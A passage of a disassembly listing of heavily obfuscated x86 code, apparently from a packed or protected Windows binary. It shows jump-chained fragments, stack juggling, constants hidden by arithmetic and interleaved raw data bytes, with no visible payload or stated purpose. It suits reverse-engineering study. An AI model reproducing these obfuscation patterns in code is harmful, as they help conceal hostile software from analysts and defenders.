; ---------------------------------------------------------------------------


loc_593255:				; CODE XREF: sdfs____:005988E2j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		add	eax, 3376EA9h
		movzx	ax, byte ptr [eax]
		jmp	loc_5936B6
; ---------------------------------------------------------------------------


loc_59326F:				; CODE XREF: sdfs____:loc_598BB3j
		xor	eax, 1DF834FFh
		jmp	loc_58CE8F
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 7Ch
		dd 815F4C2Ah, 2915ADE1h, 9DC1817Fh, 55700321h, 0FF95AAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593291:				; CODE XREF: sdfs____:005933E9j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_58BE43
; ---------------------------------------------------------------------------
		dd 452E9h, 5F080500h, 0C4051882h, 8B169E38h, 81E9242Ch
		dd 0FF000053h, 0E9042474h, 0FFFFB0A9h, 158C131h, 0B911E9C8h
		dd 0C481FFFFh, 4, 4CB668h, 242C8900h, 4EC81h, 24890000h
		dd 0F014E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5932E2:				; CODE XREF: sdfs____:00596F6Fj
		mov	[esp], edx
		push	ebx
		mov	ebx, 1B41FBAh
		inc	ebx
		jnz	loc_59653C
		sub	ebx, 86D3E631h
		mov	edx, ebx
		pop	ebx
		push	esi
		sub	al, dh
		jmp	loc_58EE50
; ---------------------------------------------------------------------------


loc_593303:				; CODE XREF: sdfs____:00594B75j
		add	esp, 4
		and	ecx, eax
		jmp	loc_598876
; ---------------------------------------------------------------------------
		dd 33240431h, 248B2404h, 68E1F724h, 7ADFh, 57241489h, 62E9E789h
		dd 68FFFFFEh, 1A4214D5h, 6905685Dh, 2C890000h, 295D5A24h
		dd 0E9042454h, 0FFFFE5A6h
; ---------------------------------------------------------------------------


loc_593344:				; CODE XREF: sdfs____:0058C2D9j
		sub	ecx, edx
		pop	edx
		inc	ecx
		push	3513h
		mov	[esp], ebx
		mov	ebx, 72725B12h
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58DEBE
; ---------------------------------------------------------------------------
		db 0B8h
		dd 0C1179CCAh, 59A1E9h,	0E9E78900h, 0FFFFDBACh,	405h, 4E88300h
		dd 0B8DE9h
		db 0
; ---------------------------------------------------------------------------


loc_593381:				; CODE XREF: sdfs____:0058F3C7j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_58CDC4
; ---------------------------------------------------------------------------


loc_59339E:				; CODE XREF: sdfs____:0058C3B3j
		push	edx
		mov	dl, 0FAh
		push	cx
		mov	ch, dl
		jmp	loc_58FBFE
; ---------------------------------------------------------------------------


loc_5933AA:				; CODE XREF: sdfs____:00596662j
		shl	edi, 8
		inc	edi
		add	edi, 9C84F303h
		jmp	loc_596228
; ---------------------------------------------------------------------------


loc_5933B9:				; CODE XREF: sdfs____:00594CE3j
					; sdfs____:00595726j
		push	685Ah
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_594228
		push	dword ptr [edi+1Ch]
		push	169Ch
		mov	[esp], esi
		mov	esi, 729033C6h
		xor	[esp+4], esi
		pop	esi
		jmp	loc_593291
; ---------------------------------------------------------------------------


loc_5933EE:				; CODE XREF: sdfs____:0059633Bj
		add	eax, edi
		push	ebx
		mov	ebx, 0
		sub	ebx, 4F183967h
		add	ebx, 65E26291h
		add	ebx, eax
		push	esi
		mov	esi, 379D3704h
		jmp	loc_58D48E
; ---------------------------------------------------------------------------
aWsk		db 'Wék$',0
		dd 4C78300h, 2474FF57h,	48F5F04h, 0E9E95C24h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_593427:				; CODE XREF: sdfs____:00591270j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edi
		push	esi
		mov	esi, 7B566EDEh
		mov	edi, 967500E2h
		add	edi, esi
		pop	esi
		not	edi
		jmp	loc_594BFB
; ---------------------------------------------------------------------------


loc_593452:				; CODE XREF: sdfs____:005962BFj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_595B0E
; ---------------------------------------------------------------------------
		db 31h,	2 dup(0E9h)
		dd 0FFFFAF2Ch, 4EC835Ah, 0E9240C89h, 0
		dd 0C1815954h, 4, 4C181h, 0C870000h, 24248B24h,	0FFF634E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593489:				; CODE XREF: sdfs____:loc_58CE8Fj
		neg	eax
		jns	loc_5983C6
		add	eax, 4F40EDB2h
		mov	ebx, eax
		pop	eax
		mov	dl, dl
		add	al, 6Dh


loc_59349D:				; CODE XREF: sdfs____:loc_58E498j
		sub	edx, 3E5D725h
		push	edx
		pop	esi
		mov	edx, [esp]
		jmp	loc_58F637
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 0ABh
		dd 810B4405h, 0D3476FC1h, 59CE010Ch, 0E91C7709h, 0FFFFFBCEh
; ---------------------------------------------------------------------------


loc_5934C4:				; CODE XREF: sdfs____:0058FEF6j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5905D7
; ---------------------------------------------------------------------------


loc_5934D7:				; CODE XREF: sdfs____:005961D1j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_59806C
; ---------------------------------------------------------------------------


loc_5934E7:				; CODE XREF: sdfs____:loc_58FBFEj
		add	esi, 0AD4ECA24h
		push	eax
		mov	eax, 18C9750Ch
		and	eax, 1A885C58h
		not	eax
		sub	eax, 0DC47A34Dh
		xor	esi, eax
		jmp	loc_593799
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 2434FF24h, 8B2434FFh, 1DE9240Ch, 54000048h, 4C3815Bh
		dd 51000000h, 2B9h, 0BD5500h, 1069B47h,	0EB815DEBh, 10B20A57h
		dd 0C381CB01h, 10B20A57h, 0BF575051h, 3EAB4D4Eh, 0B95FF889h
		dd 5E54A78Bh, 0F758C129h, 0F18141D1h, 41161445h, 0F181D9F7h
		dd 5824097Ah, 118BE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593566:				; CODE XREF: sdfs____:loc_59025Aj
		inc	eax
		jge	loc_59381D
		inc	eax
		jno	loc_58DCF3
		jl	loc_5984C0
		push	esp
		add	al, 18h
		xor	cl, al
		pop	eax
		add	cl, 0A4h
		push	edx
		mov	dh, 0AAh
		jmp	loc_5906AC
; ---------------------------------------------------------------------------
		db 89h
		dd 5954240Ch, 3719E9h
		db 0
; ---------------------------------------------------------------------------


loc_593595:				; CODE XREF: sdfs____:0059230Ej
		add	ecx, 2
		jmp	loc_58BFD0
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 5Dh
		dd 319CFD28h, 24348BF5h, 4C481h, 0E8890000h, 8BC2015Dh
		dd 0C4832404h, 2BF5704h, 1000000h, 0FF525FFAh, 5A042474h
		dd 8B24048Fh, 0C8842424h, 83EFE99Ch, 7FBEFFFFh,	29913E81h
		dd 0DD295EF3h, 97FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5935E5:				; CODE XREF: sdfs____:0058D413j
		xor	edx, 7B1959F4h
		inc	edx
		jmp	loc_593BB0
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0A9h
		dd 89C3A2EFh, 0C6815DEEh, 131013E6h, 4310C681h,	0C6817C7Dh
		dd 2AFE80A0h, 6140C181h, 0F1012300h, 0FFB32CE9h, 0BE565FFFh
		dd 658A69CBh, 7C668h, 24348900h, 5E2414F7h, 4F84E9h, 81D3F700h
		dd 0B84A65E3h, 5DEB811Eh, 891EB84Ah, 76E95BDAh,	0FFFFFFE6h
		dd 48B2434h, 4C48324h, 4C481h, 75E90000h, 81000047h, 4ECh
		dd 4E11E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593666:				; CODE XREF: sdfs____:005909D5j
		add	esp, 4
		push	5712h
		mov	[esp], ebx
		push	5A90h
		mov	[esp], esi
		push	3B760301h
		pop	esi
		neg	esi
		shr	esi, 2
		js	loc_59579E
		sub	esi, 27B10321h
		sub	esp, 4
		jmp	loc_590745
; ---------------------------------------------------------------------------


loc_593698:				; CODE XREF: sdfs____:005975F1j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_59369D:				; CODE XREF: sdfs____:0058BBD9j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 5F851F08h
		push	edx
		push	571C10FDh
		jmp	loc_598CC1
; ---------------------------------------------------------------------------


loc_5936B6:				; CODE XREF: sdfs____:0059326Aj
		push	small 1043h
		mov	[esp], ax
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 64h
		dd 66028B66h, 6608EA68h, 0E9240489h, 0FFFF82F1h, 405h
		dd 40500h, 4870000h, 54E95C24h,	5A000037h, 4EC81h, 0D9E90000h
		dd 56FFFFEBh, 0B13C1CBEh, 0DE94E40h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5936FF:				; CODE XREF: sdfs____:0059630Aj
		jb	loc_59241F
		or	edx, 73EA338Ch
		jns	loc_591FD9
		mov	dh, 50h
		pop	esp
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59184C
; ---------------------------------------------------------------------------


loc_593720:				; CODE XREF: sdfs____:loc_594D19j
		dec	bh
		jnp	loc_591D0B
		add	bh, 0DEh
		jmp	loc_58C4EB
; ---------------------------------------------------------------------------


loc_593730:				; CODE XREF: sdfs____:0059102Dj
		push	7632h
		mov	[esp], eax
		jmp	loc_58BAD7
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FFC79BE9h, 14335BFFh, 24143124h, 0FF8667E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593751:				; CODE XREF: sdfs____:005972DBj
		shl	edx, 1
		push	ecx
		push	24h
		pop	ecx
		add	ecx, 4AD11602h
		add	ecx, 0DAE71C4h
		add	ecx, edi
		push	ebx
		jmp	loc_59399B
; ---------------------------------------------------------------------------
		dw 0C783h
		dd 243C8704h, 9CC83B5Ch, 0FF8248E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59377D:				; CODE XREF: sdfs____:00592BE2j
		sub	esp, 4
		mov	[esp], ecx
		push	0D0E7C85h
		pop	ecx
		jmp	loc_5942E5
; ---------------------------------------------------------------------------


loc_593791:				; CODE XREF: sdfs____:0058F9F2j
		pop	esi
		add	ecx, eax
		jmp	loc_5958BA
; ---------------------------------------------------------------------------


loc_593799:				; CODE XREF: sdfs____:00593501j
		pop	eax
		add	edi, esi
		pop	esi
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_59015F
; ---------------------------------------------------------------------------
		dd 24048B66h, 0A708E951h, 0C381FFFFh, 1A414DAEh, 2FE7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5937D1:				; CODE XREF: sdfs____:00597F33j
		inc	esi
		jle	loc_598935
		xor	esi, 8DCBE173h
		mov	ecx, esi
		jmp	loc_58DCDA
; ---------------------------------------------------------------------------


loc_5937E5:				; CODE XREF: sdfs____:0058DFBFj
		or	eax, eax
		jnz	loc_5985AE
		push	23F0h
		mov	[esp], ecx
		push	ebp
		mov	ebp, 6F4F29DFh
		push	eax
		mov	eax, ebp
		mov	ecx, eax
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5951A5
; ---------------------------------------------------------------------------


loc_59380F:				; CODE XREF: sdfs____:00597A35j
		shr	ebx, 7
		or	ebx, 6ACD0CD4h
		jmp	loc_58D74D
; ---------------------------------------------------------------------------


loc_59381D:				; CODE XREF: sdfs____:00593567j
		inc	eax
		jno	loc_59007E
		jmp	loc_595BEE
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 20h
		dd 8AFFFFDAh
		db 0CDh, 5Ch
; ---------------------------------------------------------------------------


loc_593832:				; CODE XREF: sdfs____:00590C02j
		push	eax
		push	edi
		mov	edi, 305913C7h
		sub	edi, 0D5BA0FD8h
		jmp	loc_596810
; ---------------------------------------------------------------------------
		dd 240C8B66h, 1BFDE9h, 3CE16800h, 6FE90000h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_593857:				; CODE XREF: sdfs____:0058D832j
		xor	edx, 55AF0F1Ch
		sub	edi, edx
		pop	edx
		jmp	loc_5944E4
; ---------------------------------------------------------------------------
		db 5, 0A1h, 11h
aS_6		db '&&S»Ð',0
a2psc_		db '2péç.',0
		dd 7BF78100h, 0C17AF857h, 814F02E7h, 7E8843F7h,	48C5E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59388A:				; CODE XREF: sdfs____:0058C181j
		add	esp, 4
		jmp	loc_59548C
; ---------------------------------------------------------------------------
		dw 3487h
		dd 0B989E924h, 0C181FFFFh, 2, 31240C33h, 0C33240Ch, 24248B24h
		dd 0F66E1F6h, 6866CCB6h, 89666A72h, 0F66240Ch, 5166C8B6h
		dd 80FFE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5938C6:				; CODE XREF: sdfs____:0058BF19j
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_592A88
		push	26ABh
		jmp	loc_58C774
; ---------------------------------------------------------------------------


loc_5938DB:				; CODE XREF: sdfs____:0058C61Cj
					; sdfs____:00592189j
		mov	ecx, edx
		jmp	loc_58BCF7
; ---------------------------------------------------------------------------
aQpsO		db 'QPé{O',0
		db 0
; ---------------------------------------------------------------------------


loc_5938E9:				; CODE XREF: sdfs____:0058F5B5j
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	ecx
		push	ebp
		mov	ebp, 362248F6h
		jmp	loc_58EB07
; ---------------------------------------------------------------------------
		dd 0E9028F64h, 0FFFF80B5h
; ---------------------------------------------------------------------------


loc_593910:				; CODE XREF: sdfs____:00591AC2j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58D702
; ---------------------------------------------------------------------------
		dd 72F18141h, 10BBF3Fh,	0CB2959CBh, 3B71EB81h, 0E959482Bh
		dd 0FFFFAC96h, 0F280D2F6h, 80CAFE21h, 0EA80E5EAh, 0E2F4E92Eh
		dd 8B66FFFFh, 0EC812404h, 4, 3617E9h
		db 0
; ---------------------------------------------------------------------------


loc_59395D:				; CODE XREF: sdfs____:005900CBj
		mov	edx, 2
		mov	edi, edx
		jmp	loc_5904D2
; ---------------------------------------------------------------------------


loc_593969:				; CODE XREF: sdfs____:00598C00j
		shl	ecx, 6
		dec	ecx
		xor	ecx, 5FB417AAh
		add	ecx, 0F3B9244Fh
		and	ebp, ecx
		pop	ecx
		add	ebp, 8885647h
		xor	ebp, 61F247F8h
		sub	ecx, 85D7203h
		sub	ecx, ebp
		add	ecx, 85D7203h
		jmp	loc_5964C4
; ---------------------------------------------------------------------------


loc_59399B:				; CODE XREF: sdfs____:00593769j
		mov	ebx, 0DAE71C4h
		sub	ecx, ebx
		pop	ebx
		push	edi
		jmp	loc_58F473
; ---------------------------------------------------------------------------
aUhy		db 'UhY&',0
		dw 8900h
		dd 4DBF243Ch, 0F74E055Eh, 10EF81D7h, 0F462F3Dh,	0FFB0988Ch
		dd 0EAC781FFh, 0E95C8240h, 1EAAh
		db 89h,	0Ch, 24h
; ---------------------------------------------------------------------------


loc_5939D3:				; CODE XREF: sdfs____:00591901j
					; sdfs____:00597F3Aj
		push	ecx
		mov	ecx, 4
		sub	eax, 3DB2365Ah
		add	eax, ecx
		add	eax, 3DB2365Ah
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5963D8
; ---------------------------------------------------------------------------
		db 31h,	1Ch, 24h
		dd 31241C33h, 0D3F7241Ch, 5F4168h, 243C8900h, 0C781E789h
		dd 4, 7B6BBE56h, 0EE8345BFh, 66EE8101h,	2945BF7Bh, 0FF575EF7h
		dd 0E9042474h, 0FFFFC14Dh
; ---------------------------------------------------------------------------


loc_593A28:				; CODE XREF: sdfs____:005957A7j
		mov	[esp], edx
		jmp	loc_59831B
; ---------------------------------------------------------------------------
		dd 0E95BDF01h, 0FFFFF9DDh
; ---------------------------------------------------------------------------


loc_593A38:				; CODE XREF: sdfs____:0058DAFEj
		and	ebx, 22C341Bh
		inc	ebx
		jge	loc_58BD57
		shl	ebx, 5
		push	edx
		mov	edx, 671E7C0Ah
		push	esi
		sub	ebx, 15A23DCCh
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		jmp	loc_59666E
; ---------------------------------------------------------------------------


loc_593A67:				; CODE XREF: sdfs____:0058ED7Cj
		add	esp, 4
		add	ebx, 4
		jmp	loc_593B98
; ---------------------------------------------------------------------------


loc_593A75:				; CODE XREF: sdfs____:00594B28j
		sub	ecx, 34BE6FE6h
		shl	ecx, 6
		push	eax
		jmp	loc_592C22
; ---------------------------------------------------------------------------
		dd 0B502DEB9h, 4EC8326h, 12D8E9h, 0B1E95800h, 89FFFFACh
		dd 4C581E5h, 83000000h,	2C8704C5h, 8D685C24h, 89000050h
		dd 0F1E9243Ch
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_593AB3:				; CODE XREF: sdfs____:00595791j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58EBAF
; ---------------------------------------------------------------------------
		db 0E9h, 0FFh, 7Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593AC6:				; CODE XREF: sdfs____:00598B20j
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp


loc_593ADA:				; CODE XREF: sdfs____:00598432j
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_59828A
; ---------------------------------------------------------------------------


loc_593AE7:				; CODE XREF: sdfs____:0058BCB9j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5984ED
; ---------------------------------------------------------------------------
		db 0B9h
		dd 577F01E2h, 34FFCA89h, 0C4835924h, 5AD18904h,	2AE3E181h
		dd 0E98124E2h, 1A250DFAh, 0AB4E952h, 0EC810000h, 4, 0BF243C89h
		dd 6F952A9Dh, 6AD56568h, 0EE815E90h, 0AD47462h,	781EEE81h
		dd 0FE013A89h, 781EC681h, 0F1E93A89h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593B43:				; CODE XREF: sdfs____:0059252Aj
		shl	ebp, 4
		xor	ebp, 0FC307F90h
		jmp	loc_591FFB
; ---------------------------------------------------------------------------


loc_593B51:				; CODE XREF: sdfs____:0058BB33j
					; sdfs____:0058EDB0j
		dec	ecx
		jge	loc_58C3F6
		shl	ecx, 4
		jmp	loc_595123
; ---------------------------------------------------------------------------
		dd 298E68h
		db 0, 5Ch
; ---------------------------------------------------------------------------


loc_593B66:				; CODE XREF: sdfs____:00596327j
		pop	dword ptr [esp]
		pop	esp
		btr	[esp], ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_593B75:				; CODE XREF: sdfs____:00598B3Bj
		shl	eax, 1
		sub	eax, 243D470Ah
		mov	ebx, eax
		pop	eax
		and	ebx, 44B35AABh
		jmp	loc_59641B
; ---------------------------------------------------------------------------


loc_593B8A:				; CODE XREF: sdfs____:00592C64j
		sub	esi, 0F8F81BC6h
		mov	edi, esi
		pop	esi
		jmp	loc_598566
; ---------------------------------------------------------------------------


loc_593B98:				; CODE XREF: sdfs____:00593A70j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	0DD9h
		mov	[esp], ebx
		mov	bl, 56h
		push	ebx
		mov	bl, 7Eh
		jmp	loc_59799B
; ---------------------------------------------------------------------------


loc_593BB0:				; CODE XREF: sdfs____:005935ECj
		inc	edx
		sub	edx, 0BE2829CCh
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_597D2C
; ---------------------------------------------------------------------------


loc_593BC7:				; CODE XREF: sdfs____:0058D6B5j
		mov	[esp], edx
		mov	edx, 26EF604Eh
		sub	edx, 1
		sub	edx, 26EF5E4Dh
		jmp	loc_58FFD7
; ---------------------------------------------------------------------------


loc_593BE0:				; CODE XREF: sdfs____:00592C1Dj
		add	al, 0DCh
		pop	edx
		add	al, 9Ch
		add	al, dl
		sub	al, 9Ch
		jmp	loc_5976ED
; ---------------------------------------------------------------------------
		dw 53ACh
		dd 3CB45066h, 8B66E388h, 89502404h, 405E0h, 0C0830000h
		dd 24048702h, 0FFF196E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593C0D:				; CODE XREF: sdfs____:00590FEBj
		mov	bl, ch
		mov	al, bl
		jmp	loc_58F264
; ---------------------------------------------------------------------------


loc_593C16:				; CODE XREF: sdfs____:00595445j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	4B0Fh
		jmp	loc_594E11
; ---------------------------------------------------------------------------


loc_593C2E:				; CODE XREF: sdfs____:00594CEBj
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	5DE3h
		mov	[esp], edi
		jmp	loc_58D0EA
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 243C8700h, 6624248Bh, 9C240409h, 0FF7D4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593C79:				; CODE XREF: sdfs____:005963F0j
		jmp	loc_5944A5
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 0CB6215EDh, 0E9F50176h, 0FFFFCDA0h, 240C8B66h, 0FFB59EE9h
		dd 8B665CFFh, 17E92404h, 0F000033h, 0FFF01F80h,	0F5C381FFh
		dd 89508575h, 0EAC15BDAh, 81DAF705h, 9B7815F2h,	89840F06h
		dd 81FFFFBDh, 0CAD6A4F2h, 0E9DA29A1h, 0FFFFEADDh
; ---------------------------------------------------------------------------


loc_593CCC:				; CODE XREF: sdfs____:0058CC7Aj
					; sdfs____:00598B12j
		mov	si, 0EC9h
		sub	si, 6A00h
		push	ax
		mov	ax, 4983h
		add	si, 3AD0h
		sub	si, ax
		jmp	loc_597AF3
; ---------------------------------------------------------------------------
		dd 0CBD4EF81h, 0FB29D273h, 5F2434FFh, 4C481h, 0CE90000h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_593CFF:				; CODE XREF: sdfs____:0058BD6Ej
		mov	[esp], ebx
		xor	dword ptr [esp], 53CA11E1h
		pop	esi
		xor	esi, 53CA11E1h
		pop	ebx
		push	esi
		mov	esi, 646047B4h
		sub	eax, esi
		mov	esi, [esp]
		jmp	loc_598957
; ---------------------------------------------------------------------------
		db 5Fh,	31h, 0C5h
		dd 0E9E82958h, 0FFFFAB92h, 0F05E801h, 83612844h, 2C8904ECh
		dd 0F7B85024h, 57568D42h, 3E71F168h, 0D7F75F27h, 3B90F781h
		dd 800F10E7h, 0FFFF9A6Bh, 0D3B4F781h, 0FD89A3B6h, 0FFFFC0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593D61:				; CODE XREF: sdfs____:00592154j
		mov	[esp], ecx
		push	edx
		jmp	loc_58DDEC
; ---------------------------------------------------------------------------


loc_593D6A:				; CODE XREF: sdfs____:0058F273j
		not	edi
		jmp	loc_58CE0E
; ---------------------------------------------------------------------------


loc_593D71:				; CODE XREF: sdfs____:00598809j
		push	370Ah
		mov	[esp], ebp
		mov	ebp, 67DF2C66h
		add	ebp, 5134474Eh
		jo	loc_592793
		dec	ebp
		jnz	loc_58DBC5
		shr	ebp, 3
		mov	cl, 0FFh
		mov	edi, edi
		and	edi, 7ECA5944h
		jmp	loc_590D59
; ---------------------------------------------------------------------------
		db 1
		dd 72D905D8h, 0BB533DF3h, 8604B76h, 56535743h, 0C20C25BEh
		dd 77BD5532h, 3107B664h, 0E6C15DEEh, 0F8A0F03h,	81FFFFE6h
		dd 8CC6CFC6h, 5EF3898Dh
		db 89h,	0DFh
; ---------------------------------------------------------------------------


loc_593DD6:				; CODE XREF: sdfs____:0058EA0Cj
		sub	ecx, ebp
		add	ecx, 430745AEh
		pop	ebp
		xor	ecx, [esp]
		jmp	loc_590DB1
; ---------------------------------------------------------------------------


loc_593DE7:				; CODE XREF: sdfs____:0058C413j
		inc	edi
		add	edi, 0B7D29842h
		xor	eax, edi
		pop	edi
		xor	eax, 7CD91651h
		not	eax
		inc	eax
		xor	eax, 0BDB795B0h
		jmp	loc_5986CD
; ---------------------------------------------------------------------------


loc_593E03:				; CODE XREF: sdfs____:0059719Dj
		mov	ecx, esp
		sub	esp, 4
		jmp	loc_594CE8
; ---------------------------------------------------------------------------


loc_593E10:				; CODE XREF: sdfs____:00590DB4j
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_590906
; ---------------------------------------------------------------------------


loc_593E1B:				; CODE XREF: sdfs____:00595B14j
		add	ecx, ebp
		pop	ebp
		push	eax
		mov	eax, 4
		sub	ecx, eax
		jmp	loc_58C97C
; ---------------------------------------------------------------------------


loc_593E2B:				; CODE XREF: sdfs____:00595C11j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5917AD
; ---------------------------------------------------------------------------


loc_593E37:				; CODE XREF: sdfs____:00591CBFj
		add	ecx, 6DBEC6C3h
		add	ebx, ecx
		pop	ecx
		push	esi
		jmp	loc_58CEA8
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0B068240Ch, 89000009h, 5E542434h, 0FFB495E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593E59:				; CODE XREF: sdfs____:00595B50j
		add	ebx, edx
		pop	edx
		xor	ebx, 78C865D2h
		add	edx, ebx
		pop	ebx
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 5C241487h, 127D68h, 24048900h, 24B8h, 26DCE900h
		dd 56500000h, 0B56978BEh, 0F4D1E96Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593E92:				; CODE XREF: sdfs____:00592D04j
		pop	esi
		add	esp, 4
		push	5121h
		mov	[esp], ebp
		mov	ebp, 2BA86866h
		shl	ebp, 2
		push	edi
		jmp	loc_58C9F9
; ---------------------------------------------------------------------------
		dd 4EC81h, 1C890000h, 81E38924h, 4C3h, 8696E900h, 0C87FFFFh
		dd 3C895C24h, 53E78924h, 0F04663BBh, 63BD557Fh,	94EA06Fh
		dd 0E3C15DEBh, 0F7CB8702h, 41E941D1h, 5300003Dh, 18240481h
		dd 5D79E178h, 7818ED81h, 0B8E979E1h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593EFB:				; CODE XREF: sdfs____:00593019j
		push	eax
		mov	ah, 94h
		xor	cl, ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_597892
; ---------------------------------------------------------------------------
		dw 487h
		dd 9B71E924h, 0EF81FFFFh, 464FC1EDh, 7791EB81h,	0FB017E21h
		dd 2012E950h, 8B660000h, 28E92404h, 81FFFFDCh, 4ECh, 24248900h
		dd 4240483h, 4BE565Fh, 81000000h, 0D174F3EFh, 1B31E919h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593F52:				; CODE XREF: sdfs____:00596E2Dj
					; sdfs____:005972B7j
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_595E58
; ---------------------------------------------------------------------------
		dd 81DDF75Bh, 81D72DEDh, 5DEF0130h, 4EC81h, 3C890000h
		dd 2474FF24h, 1CD8E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593F82:				; CODE XREF: sdfs____:0058C624j
		push	eax
		jmp	loc_596A33
; ---------------------------------------------------------------------------


loc_593F88:				; CODE XREF: sdfs____:005946BBj
		pop	esi
		add	ebp, 22F57156h
		jmp	loc_58C236
; ---------------------------------------------------------------------------
		dd 4C281h, 25E90000h, 8BFFFFF2h, 0C481240Ch, 4,	0E958C321h
		dd 0FFFFF932h
; ---------------------------------------------------------------------------


loc_593FB0:				; CODE XREF: sdfs____:0058E163j
		pop	esp
		shr	ecx, 6
		jmp	loc_597E03
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 1D66E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593FC2:				; CODE XREF: sdfs____:00590ADEj
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_58F278
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 0FFFFC9F7h
; ---------------------------------------------------------------------------


loc_593FD4:				; CODE XREF: sdfs____:00595D23j
		pop	esi
		and	ecx, ebx
		jmp	loc_58BD73
; ---------------------------------------------------------------------------


loc_593FDC:				; CODE XREF: sdfs____:loc_59599Dj
		shr	ebx, 7
		js	loc_591CD4
		jmp	loc_58BF78
; ---------------------------------------------------------------------------
		dw 478Fh
		dd 79D3E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593FF2:				; CODE XREF: sdfs____:00593164j
		shr	eax, 0Bh
		jmp	loc_590DE8
; ---------------------------------------------------------------------------
		dw 0CE81h
		dd 280B0083h, 0CA868D0Fh, 0EE81FFFFh, 0B7BE3147h, 226CE9h
